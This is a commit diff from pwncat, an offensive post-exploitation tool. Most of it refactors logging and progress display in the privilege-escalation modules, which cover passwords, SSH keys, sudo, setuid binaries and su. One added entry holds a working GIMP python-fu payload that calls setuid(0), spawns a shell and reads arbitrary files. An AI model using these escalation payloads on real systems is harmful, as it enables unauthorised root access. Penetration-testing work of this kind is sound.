1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-27 19:04:15 +01:00

Removed old logging code in privesc command. Slow and steady. D:

This commit is contained in:
Caleb Stewart 2020-06-17 19:46:05 -04:00
parent 96e4688dae
commit f1affd82c1
11 changed files with 237 additions and 146 deletions

View File

@ -11,7 +11,7 @@ from pwncat.commands.base import (
StoreConstOnce,
StoreForAction,
)
from pwncat import util, privesc
from pwncat import privesc
from pwncat.persist import PersistenceError
from pwncat.util import State, console
from colorama import Fore
@ -137,7 +137,7 @@ class Command(CommandDefinition):
read_pipe, chain, technique = pwncat.victim.privesc.read_file(
args.path, args.user, args.max_depth
)
util.success(f"file successfully opened with {technique}!")
console.log(f"file [green]opened[/green] with {technique}")
# Read the data from the pipe
shutil.copyfileobj(read_pipe, sys.stdout.buffer)
@ -147,7 +147,7 @@ class Command(CommandDefinition):
pwncat.victim.privesc.unwrap(chain)
except privesc.PrivescError as exc:
util.error(f"read file failed: {exc}")
console.log(f"file write [red]failed[/red]")
elif args.action == "write":
# Make sure the correct arguments are present
if not args.path:
@ -159,8 +159,8 @@ class Command(CommandDefinition):
try:
with open(args.data, "rb") as f:
data = f.read()
except PermissionError:
self.parser.error(f"no local permission to read: {args.data}")
except (PermissionError, FileNotFoundError):
console.log(f"{args.data}: no such file or directory")
try:
# Attempt to write the data to the remote file
@ -168,47 +168,25 @@ class Command(CommandDefinition):
args.path, data, target_user=args.user, depth=args.max_depth,
)
pwncat.victim.privesc.unwrap(chain)
util.success("file written successfully!")
console.log("file write [green]succeeded[/green]")
except privesc.PrivescError as exc:
util.error(f"file write failed: {exc}")
console.log(f"file write [red]failed[/red]: {exc}")
elif args.action == "escalate":
try:
chain = pwncat.victim.privesc.escalate(
args.user, depth=args.max_depth, exclude=args.exclude
)
ident = pwncat.victim.id
if ident["euid"]["id"] == 0 and ident["uid"]["id"] != 0:
util.progress(
"mismatched euid and uid; attempting backdoor installation."
)
for method in pwncat.victim.persist.available:
if not method.system or not method.local:
continue
try:
# Attempt to install this persistence method
pwncat.victim.persist.install(method.name)
if not method.escalate():
# The escalation didn't work, remove it and try the next
pwncat.victim.persist.remove(method.name)
continue
chain.append(
(
f"{method.format()} ([cyan]euid[/cyan] correction)",
"exit",
)
)
break
except PersistenceError:
continue
else:
util.warn("failed to correct uid/euid mismatch")
console.log("privilege escalation succeeded using:")
for i, (technique, _) in enumerate(chain):
arrow = f"[yellow]\u2ba1[/yellow] "
console.log(f"{(i+1)*' '}{arrow}{technique}")
ident = pwncat.victim.id
if ident["euid"]["id"] == 0 and ident["uid"]["id"] != 0:
pwncat.victim.command_parser.dispatch_line("euid_fix")
pwncat.victim.reset()
pwncat.victim.state = State.RAW
except privesc.PrivescError as exc:
util.error(f"escalation failed: {exc}")
console.log(f"privilege escalation [red]failed[/red]: {exc}")

View File

@ -779,6 +779,35 @@
}
],
//-------------------------------------------------------------------
"gimp-2.8": [
{
"type": "shell",
"payload": "{command}",
"args": ["-idf", "--batch-interpreter=python-fu-eval", "-b", "'import os, pty;exec(\"try:\\n\\tos.setuid(0);\\nexcept:\\n\\tpass\\ntry:\\n\\tos.setgid(0)\\nexcept:\\n\\tpass\"); pty.spawn(\"{shell}\");gimp.exit()'"],
"exit": "exit"
},
{
"type": "read",
"stream": "raw",
"payload": "{command} 2>/dev/null",
"args": ["-idf", "--batch-interpreter=python-fu-eval", "-b", "'import sys; sys.stdout.write(open(\"{lfile}\",\"rb\").read());gimp.exit()'"]
}
// This 'write' technique seems to fail because it cannot capture stdin, being a "subprocess".
// Since it can get a shell, this is not really an issue.
// {
// "type": "write",
// "stream":"raw",
// "payload": "{command} 2>/dev/null",
// "args": ["-idf", "--batch-interpreter=python-fu-eval", "-b", "'import sys, shutil; shutil.copyfileobj(sys.stdin.buffer, open(\"{lfile}\",\"wb\"),length={length});gimp.exit()'"]
// },
// {
// "type": "write",
// "stream":"base64",
// "payload": "{command} 2>/dev/null",
// "args": ["-idf", "--batch-interpreter=python-fu-eval", "-b", "'exec(\"\"\"import sys,base64\\nwith open(\"{lfile}\",\"wb\") as f:\\n\\tfor chunk in iter(lambda: sys.stdin.read(4), b\"\"):\\n\\t\\tf.write(base64.b64decode(chunk))\"\"\")\\ngimp.exit()'"]
// }
],
"gimp": [
{
"type": "shell",

View File

@ -71,20 +71,36 @@ class Finder:
if exclude is None:
exclude = []
if target_user is None:
target_user = "[any]"
with Progress(
f"[cyan]{pwncat.victim.current_user.name}[/cyan]",
"",
f"[yellow]{target_user}[/yellow]",
"",
"enumerating",
"",
"{task.fields[method]}",
"",
"{task.fields[step]}",
console=console,
auto_refresh=True,
transient=True,
) as progress:
task = progress.add_task("enumerating", method="initializing", step="")
techniques = []
for method in self.methods:
progress.update(task, method=str(method))
try:
if method.id in exclude:
continue
techniques.extend(method.enumerate())
for tech in method.enumerate(progress, task):
if target_user == tech.user or target_user == "[any]":
techniques.append(tech)
except PrivescError:
pass
if target_user is not None:
techniques = [
technique for technique in techniques if technique.user == target_user
]
return techniques
def add_backdoor(self):
@ -168,14 +184,31 @@ class Finder:
except UnicodeDecodeError:
data_printable = False
with Progress(
f"write [cyan]{filename}[/cyan] as [yellow]{target_user}[/yellow]",
"",
"{task.fields[status]}",
"",
"{task.fields[step]}",
console=console,
auto_refresh=True,
transient=True,
) as progress:
task = progress.add_task(
"writing", status="enumerating", step="initializing"
)
for method in self.methods:
try:
found_techniques = method.enumerate(Capability.ALL)
found_techniques = method.enumerate(progress, task, Capability.ALL)
for tech in found_techniques:
progress.update(task, step=str(tech))
if (
tech.user == target_user
and Capability.WRITE in tech.capabilities
):
progress.update(task, step=f"attempting {tech}")
try:
tech.method.write_file(filename, data, tech)
return chain
@ -189,6 +222,8 @@ class Finder:
shlvl = pwncat.victim.getenv("SHLVL")
progress.update(task, status="recursing", step="")
# We can't escalate directly to the target to read a file. So, try recursively
# against other users.
for user, techniques in user_map.items():
@ -197,11 +232,15 @@ class Finder:
if self.in_chain(user, chain):
continue
try:
tech, exit_command = self.escalate_single(techniques, shlvl)
progress.update(task, step=f"escalating to [green]{user}[/green]")
tech, exit_command = self.escalate_single(
techniques, shlvl, progress, task
)
chain.append((tech, exit_command))
except PrivescError:
continue
try:
progress.update(task, step=f"recursing to [green]{user}[/green]")
return self.write_file(
filename, data, safe, target_user, depth, chain, starting_user
)
@ -241,15 +280,31 @@ class Finder:
if depth is not None and len(chain) > depth:
raise PrivescError("max depth reached")
with Progress(
f"write [cyan]{filename}[/cyan] as [yellow]{target_user}[/yellow]",
"",
"{task.fields[status]}",
"",
"{task.fields[step]}",
console=console,
auto_refresh=True,
transient=True,
) as progress:
task = progress.add_task(
"reading", status="enumerating", step="initializing"
)
# Enumerate escalation options for this user
user_map = {}
for method in self.methods:
try:
found_techniques = method.enumerate(Capability.ALL)
found_techniques = method.enumerate(progress, task, Capability.ALL)
for tech in found_techniques:
progress.update(task, step=str(tech))
if tech.user == target_user and (
tech.capabilities & Capability.READ
):
progress.update(task, step=f"attempting {tech}")
try:
read_pipe = tech.method.read_file(filename, tech)
return (read_pipe, chain, tech)
@ -263,6 +318,8 @@ class Finder:
shlvl = pwncat.victim.getenv("SHLVL")
progress.update(task, status="recursing", step="")
# We can't escalate directly to the target to read a file. So, try recursively
# against other users.
for user, techniques in user_map.items():
@ -271,11 +328,13 @@ class Finder:
if self.in_chain(user, chain):
continue
try:
progress.update(task, step=f"escalating to [green]{user}[/green]")
tech, exit_command = self.escalate_single(techniques, shlvl)
chain.append((tech, exit_command))
except PrivescError:
continue
try:
progress.update(task, step=f"recursing to [green]{user}[/green]")
return self.read_file(
filename, target_user, depth, chain, starting_user
)
@ -775,7 +834,9 @@ class Finder:
continue
try:
found_techniques = method.enumerate(
Capability.SHELL | Capability.WRITE | Capability.READ
progress,
task,
Capability.SHELL | Capability.WRITE | Capability.READ,
)
for tech in found_techniques:
progress.update(task, step=str(tech))
@ -949,7 +1010,7 @@ class BaseMethod:
raise PrivescError(f"required remote binary not found: {binary}")
def enumerate(
self, capability: int = Capability.ALL
self, progress: Progress, task: Any, capability: int = Capability.ALL
) -> Generator[Technique, None, None]:
"""
Enumerate all possible techniques known and possible on the remote host for

View File

@ -27,7 +27,9 @@ class Method(BaseMethod):
id = "enum.passwords"
BINARIES = ["su"]
def enumerate(self, capability: int = Capability.ALL) -> List[Technique]:
def enumerate(
self, progress, task, capability: int = Capability.ALL
) -> List[Technique]:
"""
Enumerate capabilities for this method.
@ -43,6 +45,9 @@ class Method(BaseMethod):
techniques = []
for fact in pwncat.victim.enumerate.iter(typ="configuration.password"):
progress.update(task, step=str(fact.data))
if fact.data.value is None:
continue
@ -69,8 +74,6 @@ class Method(BaseMethod):
seen_password.append(fact.data.value)
return techniques
def execute(self, technique: Technique) -> bytes:
"""
Escalate to the new user and return a string used to exit the shell

View File

@ -14,7 +14,9 @@ class Method(BaseMethod):
id = "logged-passwords"
BINARIES = ["su"]
def enumerate(self, capability: int = Capability.ALL) -> List[Technique]:
def enumerate(
self, progress, task, capability: int = Capability.ALL
) -> List[Technique]:
"""
Enumerate capabilities for this method.
@ -24,9 +26,10 @@ class Method(BaseMethod):
# We only provide shell capability
if Capability.SHELL not in capability:
return []
return
for fact in pwncat.victim.enumerate.iter(typ="system.user.password"):
progress.update(task, step=str(fact.data))
yield Technique(fact.data.user.name, self, fact.data, Capability.SHELL)
def execute(self, technique: Technique) -> bytes:

View File

@ -14,7 +14,9 @@ class Method(BaseMethod):
id = "enum.privkeys"
BINARIES = ["ssh"]
def enumerate(self, capability: int = Capability.ALL) -> List[Technique]:
def enumerate(
self, progress, task, capability: int = Capability.ALL
) -> List[Technique]:
"""
Enumerate capabilities for this method.
@ -33,6 +35,7 @@ class Method(BaseMethod):
return
for fact in pwncat.victim.enumerate.iter(typ="system.user.private_key"):
progress.update(task, step=str(fact.data))
if not fact.data.encrypted:
yield Technique(fact.data.user.name, self, fact.data, Capability.SHELL)

View File

@ -17,23 +17,27 @@ class Method(BaseMethod):
id = "screen-suid"
BINARIES = []
def enumerate(self, capability: int = Capability.ALL) -> List[Technique]:
def enumerate(
self, progress, task, capability: int = Capability.ALL
) -> List[Technique]:
""" Find all techniques known at this time """
# If we have ran this before, don't bother running it
if Capability.SHELL not in capability:
return []
return
# Grab all possibly vulnerable screen version
# It has to be SUID for this to work.
facts = [
f
for f in pwncat.victim.enumerate("screen-version")
if f.data.vulnerable and f.data.perms & 0o4000
]
facts = []
for fact in pwncat.victim.enumerate("screen-version"):
progress.update(task, step=str(fact.data))
if fact.data.vulnerable and fact.data.perms & 0o4000:
facts.append(fact)
for fact in facts:
progress.update(task, step=str(fact.data))
# Carve out the version of screen
version_output = (
pwncat.victim.run(f"{fact.data.path} -v").decode("utf-8").strip()

View File

@ -16,11 +16,15 @@ class Method(BaseMethod):
id = "setuid"
BINARIES = ["find"]
def enumerate(self, caps: Capability = Capability.ALL) -> List[Technique]:
def enumerate(
self, progress, task, caps: Capability = Capability.ALL
) -> List[Technique]:
""" Find all techniques known at this time """
for suid in pwncat.victim.enumerate.iter("suid"):
progress.update(task, step=str(suid.data))
try:
binary = pwncat.victim.gtfo.find_binary(suid.data.path, caps)
except BinaryNotFound:

View File

@ -14,11 +14,12 @@ class Method(BaseMethod):
id = "su"
BINARIES = ["su"]
def enumerate(self, capability=Capability.ALL) -> List[Technique]:
def enumerate(self, progress, task, capability=Capability.ALL) -> List[Technique]:
current_user = pwncat.victim.whoami()
for user, info in pwncat.victim.users.items():
progress.update(task, step=str(user))
if user == current_user:
continue
if info.password is not None or current_user == "root":

View File

@ -16,12 +16,16 @@ class Method(BaseMethod):
id = "sudo"
BINARIES = ["sudo"]
def enumerate(self, capability: int = Capability.ALL) -> List[Technique]:
def enumerate(
self, progress, task, capability: int = Capability.ALL
) -> List[Technique]:
""" Find all techniques known at this time """
rules = []
for fact in pwncat.victim.enumerate("sudo"):
progress.update(task, step=str(fact.data))
# Doesn't appear to be a user specification
if not fact.data.matched:
continue
@ -52,6 +56,7 @@ class Method(BaseMethod):
for rule in rules:
for method in pwncat.victim.gtfo.iter_sudo(rule.command, caps=capability):
progress.update(task, step=str(rule))
user = "root" if rule.runas_user == "ALL" else rule.runas_user
yield Technique(user, self, (method, rule), method.cap)

View File

@ -578,7 +578,7 @@ class Victim:
with self.open("/proc/1/comm", "r") as filp:
init = filp.read()
except (FileNotFoundError, PermissionError):
init = None
init = "unknown"
if "systemd" in init:
self.host.init = util.Init.SYSTEMD